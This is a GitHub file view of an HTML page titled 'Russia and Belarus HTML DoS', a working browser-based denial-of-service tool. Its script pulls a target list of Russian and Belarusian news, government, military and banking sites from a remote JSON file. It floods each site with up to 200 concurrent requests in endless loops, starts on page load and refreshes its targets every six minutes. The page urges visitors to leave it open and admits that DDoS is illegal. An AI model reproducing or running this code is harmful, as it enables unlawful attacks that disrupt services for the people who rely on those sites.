forked from ajax-lives/NoRussian
-
Notifications
You must be signed in to change notification settings - Fork 2
/
index.html
319 lines (297 loc) · 12.1 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Russia and Belarus HTML DoS</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.min.js"></script>
<style>
body {
padding: 0;
margin: 0;
font-family: Arial, sans-serif;
background-color: #FFD600;
}
.title {
margin: 3rem auto 3rem auto;
text-align: center;
color: #005BBC;
}
.intro .howto {
background-color: #005BBC;
}
.intro .howto h3 {
color: #FFD600;
text-align: center;
margin-top: 1rem;
}
.intro .howto p {
color: white;
text-align: justify;
}
.footer {
color: #005BBC;
text-align: center;
margin-top: 2rem;
}
.desc {
color: black;
padding-top: 2rem;
padding-bottom: 2rem;
margin: 0 auto;
width: 60%;
}
.desc h3 {
text-align: center;
color: #005BBC;
}
#stats h4 {
font-size: 1.1em;
text-decoration: underline;
color: #005BBC;
font-weight: 400;
}
table.status {
margin-bottom: 10px;
}
</style>
</head>
<body>
<div class="modal" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true"
data-bs-backdrop="static" data-bs-keyboard="false">
<div class="modal-dialog modal-dialog-centered" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Warning!</h5>
</div>
<div class="modal-body">
<p>The action of DoSing or participating in DDoS is still illegal. Click on continue if you wish to
support Ukraine in taking down Russian and Belarussian propaganda news, government, military and
banking sites.</p>
<hr>
<p>Дія DoSing або участь у DDoS все ще є незаконними. Натисніть «Продовжити», якщо ви хочете підтримати
Україну у знищенні російських та білоруських пропагандистських новин, урядових, військових та
банківських сайтів.</p>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" onclick="window.location.href='https://www.google.com'"
data-cf-modified-8ff0939dd8b6349dcf957864-="">Leave
</button>
<button type="button" class="btn btn-primary" data-dismiss="exampleModalLabel"
onclick="togglePause(); myModal.toggle();" data-cf-modified-8ff0939dd8b6349dcf957864-="">
Continue
</button>
</div>
</div>
</div>
</div>
<div class="modal" id="exampleModal2" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel2" aria-hidden="true"
data-bs-backdrop="static" data-bs-keyboard="false">
<div class="modal-dialog modal-dialog-centered" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel2">Update!</h5>
</div>
<div class="modal-body">
<p>The following targets have been added:</p>
<hr>
<ul class="urlsAdded"></ul>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-primary"
onclick="myModal2.toggle();">
Dismiss
</button>
</div>
</div>
</div>
</div>
<h1 class="title">Russia and Belarus HTML DoS</h1>
<div class="intro container">
<div class="row">
<div class="howto col-lg-4 col-sm-12">
<h3>English version</h3>
<p>For security concerns, you are able to simply save the webpage, and run locally - as well as
view the
source. It
is
entirely HTML and browser interpreted.</p>
<p>The "official" news in russian federation and belarus are all fake and we believe it is
better to shut
them down! The government sites and banks are also taking a hit!</p>
<p>Please, just open this page and let it be open on your devices, it will flood the web-sites
and pose a
huge load
on
their infrastructure</p>
</div>
<div class="howto col-lg-4 col-sm-12">
<h3>Русская версия</h3>
<p>"Официальные" новости в рф - это театр абсурда и мы считаем, что это нужно остановить!</p>
<p>Пожалуйста, просто откройте эту страницу на своём компьютере и оставтье вкладку открытой, она
будет
автоматически
нагружать сайты российской пропаганды.</p>
</div>
<div class="howto col-lg-4 col-sm-12">
<h3>Українська версія</h3>
<p>Офіційні новини в рф - це театр абсурду і ми вважаємо, що це треба зупинити!</p>
<p>Будь ласка, просто залиште відкритою цю сторінку на своєму комп'ютері щоб вона автоматично
навантажувала
сайти
російської пропаганди.</p>
</div>
</div>
</div>
<div class="desc text-center">
<h3>Session Status</h3>
<span>Number of Requests Sent Total:<p id="score"></p></span>
<p>The number of GET requests and error responses for each targeted website is shown below. Failure to fetch is
normal! That means their servers are overloaded and dropping
packets - which is the goal!</p>
<button type="button" class="btn btn-primary"
onclick="togglePause();"
data-cf-modified-8ff0939dd8b6349dcf957864-="">Pause
</button>
</div>
<div id="stats" class="container">
<div class="row">
</div>
</div>
<p class="footer">Reformated from https://stop-russian-desinformation.near.page</p>
<script>
// initialize variables
let fetchURL = "https://raw.githubusercontent.com/AidanSpeakss/NoRussian/main/targets.json"
let targets;
let urls;
let statRow = document.querySelector("#stats > .row");
let CONCURRENCY_LIMIT = 200;
let queue = [];
let attack = true;
let totalScore = 0;
async function getTargets() {
let response = await fetch(fetchURL, {cache: "no-cache"});
if (response.ok) {
targets = await response.json()
urls = Object.keys(targets);
return true;
} else {
alert("Couldn't get targets: HTTP-Error " + response.status);
window.location.reload();
}
}
async function togglePause() {
await getTargets();
if (attack) {
attack = false;
document.querySelector("div.desc .btn").innerText = "Resume";
} else {
attack = true;
document.querySelector("div.desc .btn").innerText = "Pause";
for (var i = 0; i < urls.length; i++) {
flood(urls[i], i);
}
}
init();
}
window.onload = togglePause();
var myModal = new bootstrap.Modal(document.getElementById('exampleModal'), {})
myModal.toggle();
async function fetchWithTimeout(resource, options) {
const controller = new AbortController();
const id = setTimeout(() => controller.abort(), options.timeout);
return fetch(resource, {
signal: controller.signal,
mode: 'no-cors'
}).then((response) => {
clearTimeout(id);
return response;
}).catch((error) => {
clearTimeout(id);
throw error;
});
}
async function flood(target, n) {
while (attack) {
if (queue.length > CONCURRENCY_LIMIT) {
await queue.shift()
}
queue.push(
fetchWithTimeout(target, {timeout: 2000})
.catch((error) => {
if (error.code === 20 /* ABORT */) {
return;
}
targets[target].number_of_errored_responses++;
targets[target].error_message = error.message
})
.then((response) => {
if (response && !response.ok) {
targets[target].number_of_errored_responses++;
targets[target].error_message = response.statusText
}
targets[target].number_of_requests++;
})
.finally(function () {
totalScore++;
updateTargetDisplay(n);
})
)
}
}
// Update data for target n
function updateTargetDisplay(n) {
var url = urls[n];
var {number_of_requests, number_of_errored_responses} = targets[url];
var requests_cell = document.querySelector(`#target${n} .requests`);
var errors_cell = document.querySelector(`#target${n} .errors`);
document.querySelector("#score").innerText = totalScore;
requests_cell.innerText = number_of_requests;
errors_cell.innerText = number_of_errored_responses;
}
function init() {
// Shuffle array order before starting
for (let i = urls.length - 1; i > 0; i--) {
const j = Math.floor(Math.random() * (i + 1));
[urls[i], urls[j]] = [urls[j], urls[i]];
}
// Create div for each target
for (var i = 0; i < urls.length; i++) {
statRow.innerHTML += `
<div class="col-lg-3 col-md-4 col-sm-6" id="target${i}">
<h4>${urls[i]}</h4>
<table class='status'>
<tr><td>requests:</td><td class="requests">0</td></tr>
</tr><td>errors:</td><td class="errors">0</td></tr>
</table>
</div>
`;
}
// Start DOS attack
for (var i = 0; i < urls.length; i++) {
flood(urls[i], i);
}
}
let myModal2 = new bootstrap.Modal(document.getElementById('exampleModal2'), {})
function createTimeout(){
setTimeout(async function refreshTargets(){
let oldUrls = urls;
await getTargets()
let liElements = "";
let filterUrls = urls;
let difference = filterUrls.filter(x => !oldUrls.includes(x));
difference.forEach(x => {
liElements += `<li>${x}</li>`
})
document.querySelectorAll(".urlsAdded")[0].innerHTML = liElements;
myModal2.toggle();
statRow.innerHTML = "";
init();
createTimeout();
}, 360000);
}
createTimeout()
</script>
</body>
</html>